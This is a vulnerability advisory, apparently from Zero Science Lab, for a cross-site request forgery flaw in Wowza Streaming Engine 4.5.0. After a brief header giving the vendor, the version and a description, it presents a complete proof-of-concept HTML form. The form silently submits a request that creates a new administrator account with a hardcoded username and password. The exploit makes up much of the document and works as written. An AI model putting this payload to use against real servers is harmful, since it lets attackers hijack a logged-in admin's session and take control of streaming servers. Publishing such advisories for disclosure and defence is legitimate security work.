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Wowza Streaming Engine 4.5.0 CSRF Add Advanced Admin Exploit
Vendor: Wowza Media Systems, LLC.
Product web page: https://www.wowza.com
Affected version: 4.5.0 (build 18676)
Platform: JSP
Summary: Wowza Streaming Engine is robust, customizable, and scalable
server software that powers reliable video and audio streaming to any
device. Learn the benefits of using Wowza Streaming Engine to deliver
high-quality live and on-demand video content to any device.
Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.
Tested on: Winstone Servlet Engine v1.0.5
Servlet/2.5 (Winstone/1.0.5)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2016-5341
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5341.php
03.07.2016
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<html>
<body>
<form action="http://localhost:8088/enginemanager/server/user/edit.htm" method="POST">
<input type="hidden" name="version" value="0" />
<input type="hidden" name="action" value="new" />
<input type="hidden" name="userName" value="thricer" />
<input type="hidden" name="userPassword" value="123123" />
<input type="hidden" name="userPassword2" value="123123" />
<input type="hidden" name="accessLevel" value="admin" />
<input type="hidden" name="advUser" value="true" />
<input type="hidden" name="_advUser" value="on" />
<input type="hidden" name="ignoreWarnings" value="false" />
<input type="submit" value="Execute" />
</form>
</body>
</html>
